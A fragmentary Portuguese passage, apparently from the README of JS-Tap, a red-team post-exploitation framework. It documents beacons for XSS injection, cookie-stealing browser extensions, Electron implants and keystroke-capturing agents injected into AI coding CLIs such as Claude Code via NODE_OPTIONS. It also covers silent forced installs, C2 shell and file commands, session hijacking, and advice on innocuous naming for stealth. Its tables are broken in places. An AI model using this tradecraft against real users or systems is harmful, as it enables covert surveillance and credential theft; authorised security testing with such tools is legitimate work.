Ele também possui um botão Inject JS-Tap payload que simula um exploit XSS. Todo o código está incluído no arquivo defconServer.py, incluindo o JavaScript e o HTML.
Este aplicativo é um bom teste para gerar automaticamente payloads a partir de chamadas de rede XHR interceptadas.```bash python3 tools/defconApp/defconServer.py
### SpaTestApp
Um aplicativo de teste de página única (SPA) que usa chamadas Fetch API para operações CRUD. Útil para testar monkeypatching de SPAs baseadas em Fetch e autogerar payloads mimic a partir de chamadas de API interceptadas.```bash
python3 tools/spaTestApp/spaServer.py
Ferramenta legada para analisar formulários HTML e extrair seus parâmetros. Foi substituída pelo recurso mimic que gera automaticamente payloads personalizados.
Ferramenta legada, usada antes da interface web para JS-Tap. O script generateIntelReport vasculhava o butim coletado e gerava um relatório em PDF. Não é mais funcional — a maior parte do butim agora é armazenada no banco de dados, com exceção do código HTML exfiltrado e capturas de tela.
@hoodoer
[email protected]
| Tipo de Beacon | O Que É | Como Chega Lá |
|---|
| DOM Beacon (telemlib.js) | Um payload JavaScript injetado numa página web. Instrumenta o DOM, captura atividade do utilizador, screenshots, chamadas de rede. | Vulnerabilidade XSS, ou adicionado diretamente aos ficheiros JavaScript da aplicação alvo (pós-exploração). |
| BEX Beacon | Uma extensão de navegador (Chrome MV3 / Firefox MV2). Monitoriza toda a atividade de navegação, captura cookies (incluindo httpOnly), localStorage, sessionStorage e cabeçalhos de pedidos. Pode injetar DOM Beacons em domínios específicos sob comando. | Instalado no navegador do alvo (engenharia social, acesso físico, push de política, etc.). |
| Sidecar | Um binário Go nativo que é executado no SO do alvo. Fornece navegação no sistema de ficheiros, leitura de ficheiros e execução de comandos. | Instalado juntamente com o BEX Beacon via mensagens nativas. Requer que o BEX Beacon retransmita comandos. |
| Atom Beacon | Um implante de duas camadas para aplicações de desktop Electron. Injeta um agente no processo principal (runtime Node.js) + payloads de renderizador em todas as janelas da aplicação. Combina recolha de dados ao nível do navegador com acesso ao SO do anfitrião — sem necessidade de binário separado. Suporta modo de proxy de navegador. | Patcheado no arquivo ASAR da aplicação Electron alvo (ou diretório da aplicação descompactada) usando atomize.py. |
| V8 Beacon | Um agente JavaScript para aplicações CLI em Node.js e Bun (Gemini CLI, Claude Code, etc.). Interceta todas as chamadas de rede HTTP/Fetch, captura teclas e fornece acesso ao sistema de ficheiros e shell. Suporta modo de proxy de navegador. Zero dependências. | Injetado via variável de ambiente: NODE_OPTIONS="--require" (Node.js) ou BUN_OPTIONS="--preload" (Bun). Não é necessário patch na aplicação. |
| JS-Tap Conductor | Uma extensão Firefox autónoma que importa dados de sessão capturados pelo BEX Beacon (como um "JS-Tap Ticket") e reproduz-os localmente — definindo cookies, injetando cabeçalhos, preenchendo armazenamento e falsificando o User-Agent — para que o operador possa navegar como a vítima. Veja JS-Tap Tickets & JS-Tap Conductor abaixo. |
V8 Beacon para ferramentas CLI: O V8 Beacon tem como alvo aplicações CLI baseadas em Node.js e Bun. Defina uma variável de ambiente (NODE_OPTIONS ou BUN_OPTIONS) e o beacon carrega antes do código da própria aplicação — não é necessário patch ou modificação da aplicação alvo. Ele faz monkey-patch em http.request, https.request, fetch e http2.connect para intercetar todo o tráfego de rede, liga-se a process.stdin para captura de teclas e fornece navegação no sistema de ficheiros e execução de shell através do canal C2. Ferramentas CLI que geram processos filhos (por exemplo, Gemini CLI gera-se a si próprio como filho para a sessão interativa) são tratadas automaticamente — o filho herda as chaves de sessão do pai e partilha o mesmo cliente lógico no portal. A filtragem de subprocessos entre runtimes evita que subprocessos utilitários Node.js de aplicações Bun se registem como clientes separados.
Plugins para ataques específicos de aplicações: Os clientes Atom Beacon e V8 Beacon suportam plugins carregáveis em tempo de execução. Os plugins são módulos JavaScript carregados a partir do portal JS-Tap que estendem as capacidades do beacon para aplicações alvo específicas (por exemplo, o plugin Mattermost). Os plugins têm acesso às APIs Node.js do beacon (fs, http, crypto, child_process), APIs Electron (para Atom Beacons) e um canal de exfiltração de dados de volta ao servidor. Cada plugin inclui um manifesto (manifest.json) declarando as suas aplicações alvo, capacidades e configurações definíveis pelo operador, mais um painel UI opcional (ui.html) exibido no portal.
| Navegador | Método de Instalação | Requisitos |
|---|
| Chrome/Chromium (Linux, com .crx + ID estático) | Escreve uma política corporativa que força a instalação da extensão a partir de um CRX local. Nenhuma interação do usuário é necessária — a extensão é instalada silenciosamente na próxima inicialização. | sudo |
| Chrome/Chromium (macOS, com .crx + ID estático) | Copia o .crx para um diretório do sistema e escreve um JSON de extensão externa. O usuário deve clicar em Manter quando o Chrome avisar sobre a extensão. | sudo |
| Chrome/Chromium (sem .crx) | Copia a extensão descompactada para um diretório estável. Imprime instruções para o modo de desenvolvedor em chrome://extensions. | Nenhum |
| Chrome (Windows, com .crx + ID estático) | Copia o .crx e escreve uma entrada no registro para instalação de extensão externa. | Nenhum (registro a nível de usuário) |
| Firefox (com .xpi + ID da extensão) | Detecta automaticamente o perfil padrão do Firefox e copia o .xpi para o diretório extensions/ do perfil. O Firefox solicita que o usuário ative na próxima inicialização. | Nenhum |
| Firefox (sem .xpi) | Copia a extensão descompactada para um diretório estável. Imprime instruções para about:debugging. | Nenhum |
| Comando | Args | Descrição |
|---|
list_dir | { path: "/some/path" } | Lista o conteúdo do diretório. Usa o diretório home do usuário se o caminho estiver vazio. Retorna nomes de arquivos, tamanhos, tipos e datas de modificação. |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | Lê o conteúdo do arquivo (codificado em base64). Máximo de 1MB por leitura. Suporta offset/limit para arquivos grandes. |
exec_cmd | { command: "whoami", timeout: 30 } | Executa um comando shell. Usa /bin/sh -c no Linux/macOS, cmd.exe /C no Windows. Tempo máximo de espera é 120 segundos. Retorna stdout, stderr e código de saída. |
--output PATH | Caminho do arquivo de saída (padrão: ./v8-beacon.js) |
| Campo | Descrição |
|---|
name | Nome de exibição da extensão |
version | Versão da extensão (também usada no JSON da extensão externa .crx). Auto-incrementada pelo buildAll.py a cada construção. |
description | Descrição da extensão mostrada no navegador |
install_dirname | Nome do diretório usado pelos scripts de instalação para armazenar arquivos no sistema alvo (ex.: /opt/<dirname>/ no Linux, %LOCALAPPDATA%\<dirname> no Windows). Também usado para o nome do arquivo de política corporativa. Escolha algo inócuo. Padrão: jstap |
| Campo | Descrição |
|---|
chrome_key | Chave pública DER codificada em Base64. Injetada como key no manifesto do Chrome para um ID de extensão determinístico. |
chrome_key_pem | Caminho para o arquivo .pem da chave privada (relativo à raiz do projeto). Usado pelo script de build para empacotar arquivos .crx. |
chrome_extension_id | O ID da extensão Chrome com 32 caracteres. Calculado automaticamente a partir de chrome_key se deixado vazio. Usado em manifestos de mensagens nativas sidecar. |
firefox_extension_id | ID da extensão Firefox (ex.: bex-beacon@jstap). Injetado no manifesto do Firefox como browser_specific_settings.gecko.id. |
base_interval | Intervalo base em segundos entre heartbeats. Padrão: 60 para produção, 5 para desenvolvimento/testes. |
jitter_percent | Percentual de jitter aplicado ao intervalo base. Um valor de 30 significa que cada heartbeat será disparado em um tempo aleatório entre 70% e 130% do intervalo base. Defina como 0 para sem jitter (útil para depuração). |
false = monitorar todos os domínios (modo all_domains). true = monitorar apenas domínios que correspondam aos padrões da whitelist. |
whitelist | Array de padrões de correspondência de URL. Padrões de correspondência de extensão de navegador padrão com curingas *. Usado apenas quando whitelist_enabled é true. |